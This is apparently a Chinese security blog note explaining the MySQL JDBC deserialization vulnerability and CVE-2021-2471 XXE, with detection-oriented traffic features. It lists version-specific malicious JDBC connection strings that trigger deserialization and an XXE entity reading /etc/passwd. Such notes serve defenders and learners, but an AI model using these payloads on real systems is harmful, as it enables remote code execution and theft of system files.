JDBC反序列化漏洞

原理

JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API,JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xxx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

假设攻击者能够控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject()达到反序列化的目的从而RCE。

具体来说,通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。

可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

攻击特征

根据不同的JDBC版本有不同的触发点

ServerStatusDiffInterceptor为触发点

8.x

jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名不同,queryInterceptors更改为statementInterceptors

jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

=5.1.11

jar包中没有cj

jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同5.1.11的payload,但需要连接后执行查询。

detectCustomCollations为触发点

5.1.29 - 5.1.40

jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true

CVE-2021-2471

这个漏洞是由于MySQL JDBC 8.0.27版本之前,存在getSource()方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体,造成XXE攻击。

影响版本:< 8.0.27

流量特征

将二者结合,可能有以下几种特征

  • JDBC连接字串:包含恶意的MySQL服务器地址和端口,如jdbc:mysql://malicious-server:3306/database
  • 请求方法和URI:通常使用POST请求,URI可能包含与MySQL Connector/J相关的路径,如/mysql-connector-java-8.0.26.jar等。
  • 请求头User-Agent字段可能显示与Java或MySQL Connector/J相关的标识符,如Java/1.8.0_XXX等。
  • 请求体:包含XML格式的数据,其中可能包含外部实体的声明,如<!ENTITY % file SYSTEM "file:///etc/passwd">等。这些外部实体的引入是XXE攻击的关键特征。
  • 特殊字符和关键字:请求体中可能包含特殊字符如&<>等,以及与XML解析相关的关键字如ENTITYSYSTEM等。
  • 数据泄露迹象:如果攻击成功,响应体中可能会包含敏感数据,如系统文件内容、数据库信息等。

此为出网的方法,

如果不出网可以结合其他漏洞,如JNDI注入

一个仍在爬山的人